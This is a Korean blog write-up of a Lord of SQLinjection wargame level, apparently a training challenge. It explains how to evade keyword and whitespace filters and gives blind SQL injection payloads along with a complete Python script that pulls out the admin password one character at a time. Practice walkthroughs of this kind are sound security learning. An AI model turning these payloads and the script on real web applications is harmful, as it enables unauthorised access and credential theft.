이번에도 자동화코드를 이용하는 문제인데 필터링이 진짜 많다..

이번에도 no 파라미터에 payload를 작성해야 하는 것으로 보이는데..

필터링 정리해보자.

1) _ .  ' 등 특수문자

2) substr(substring 포함), ascii, or (ord 포함), and , like, 0x 등 

우리가 지금까지 썼던 함수들을 모두 우회해야 한다..

천천히 테스트 해보면..

no=1 test 만 했는데도 필터링 걸렸다. ! 중요한 필터링이다. 처음에 몰라서 시간이 걸렸음..ㅠ

띄어쓰기도 필터링되고 있었다. 

3) 띄어쓰기(%20) 필터링 

 

내가 정리한 우회 기법이다. 총 집합이다!!!!!!!!!

substring(), substr() mid(), left(), right(), lpad(), rpad()
ascii(), ord() hex()
or  ||, %7c%7c
and &&, %26%26
=, like in (), <>(부등호)
0x hex()
띄어쓰기 %09, %0a, %0d, /* */

내가 선택한 우회 기법을 천천히 하나씩 설명하도록 하겠다.

 

1)  띄어쓰기 %20 대신 %0a (\n) 개행문자 이용

성공했다. 

 

이제 test 대신 or id = admin 을 모두 우회해보자

2) =, like 대신 in 사용

id = admin (실패) → id like "admin" (실패) → id in ("admin") 

* 띄어쓰기는 모두 %0a로 변경 후 no 값 대입!!!

payload :

no=1%0a||%0aid%0ain%0a("admin")

*이번 문제 역시 주석처리(#) 필요없음. no 파라미터가 데이터를 string으로 받지 않게 짜여있으므로..

성공했다.

 

이제 and 연결자로 패스워드 길이 찾기

3) =, like 대신 <> (부등호) 사용

먼저, 연결자 &는 url에서 예약문자로 사용하기 때문에 url 인코딩을 진행해야 한다. %26%26

앞에 띄어쓰기 대신 %0a 꼭 붙여주고! %26%26 넣어주면 &&로 잘 들어가는 것을 확인했다! 

* 이렇게 한단계씩 단계별로 하나씩 대입해봐야 어디서 필터링 걸리는지 알 수 있다 

=, like 대신 in을 사용해보았는데 안된다..

앗.. 괄호를 마지막에 해주지 않아서 그랬던 것...

in 말고도 숫자와의 비교는 부등호로 하면 편하다! 띄어쓰기도 필요없음

9보다 작으니 8이겠다!

이제 길이를 알아냈으니 문자 하나하나씩 찾아서 패스워드를 알아내보자.

 

4) ascii, ord 대신 hex() 함수 이용  /  substring, substr 대신 mid() 함수 이용 /  =, lilke 대신 in () 함수 사용

* in 다음에 오는 대상에 대해 괄호 까먹지 말 것!!!!!

hex( mid(pw,?,1) ) in ( hex(53) )   hex값으로 비교하면서 패스워드를 찾을 것이다.

 기존 payload :    no = 1 || id in ("admin") && hex(mid(pw,?,1)) in (hex(53)) 

필터링 우회 :      no=1%0a||%0aid%0ain%0a("admin")%0a%26%26%0ahex(mid(pw,?,1))%0ain%0a(hex(53))

 

5) 자동화 코드

패스워드 길이 찾기 코드

def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "1\n||\nid\nin\n(\"admin\")\n&&\nlength(pw)\nin\n({})".format(len_num) #injection payload
        parmas = {'no': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num

앞서 띄어쓰기 대신 %0a를 사용했는데, 파이썬 코드에서는 url 인코딩한 코드를 인식할 수 없다.

그래서 디코딩된 상태로 넣어줘야 한다. 

%0a  → \n 개행

 

패스워드 찾기 코드

#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
     
            value = "1\n||\nid\nin\n(\"admin\")\n&&\nhex(mid(pw,{},1))\nin\n(hex({}))".format(i,j)           #injection payload 
            parmas = {'no':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw

 

전체 코드

# LOS
# STEP 13 bugbear
import requests

url ="" #공격URL
cookies ={"PHPSESSID": ""} #쿠키값

#패스워드 길이 찾기
def pw_len():
    len_num = 0

    while 1 :
        len_num = len_num + 1
        value = "1\n||\nid\nin\n(\"admin\")\n&&\nlength(pw)\nin\n({})".format(len_num) #injection payload
        parmas = {'no': value}      #url에 GET으로 전달하는 파라미터
        response = requests.get(url,params=parmas, cookies=cookies)
        print(len_num)


        if "Hello admin" in response.text:    #응답값에 Hello admin이 있으면 반환
            print("password length : ", len_num)
            break
    return len_num


#패스워드 한글자씩 찾기
def pw_real(len_num):
    pw=''
    for i in range(1,len_num+1):
        print(i,"번째 검색 중")

        for j in range(48, 122):  #아스키코드값 48번부터 122번
 
        
            value = "1\n||\nid\nin\n(\"admin\")\n&&\nhex(mid(pw,{},1))\nin\n(hex({}))".format(i,j)           #injection payload 
            parmas = {'no':value}
            response = requests.get(url, params=parmas, cookies=cookies)
            print(j)

            if "Hello admin" in response.text:       #응답값에 Hello admin이 있으면 반환
                pw = pw + chr(j)    #chr(): 아스키코드값 -> 문자
                print("password  : ", pw)
                break
    return pw


#Main

pw_real(pw_len())

 

 

solve !!!!!!!!!!!!

'WEB > Lord of SQLinjection' 카테고리의 다른 글

[LOS] step15. assassin 풀이  (0) 2023.06.14
[LOS] step14. giant 풀이  (0) 2023.06.13
[LOS] step12. darkknight 풀이  (1) 2023.06.13
[LOS] step10. skeleton 풀이  (0) 2023.06.13
[LOS] step.9 VAMPIRE 풀이  (0) 2023.06.13

+ Recent posts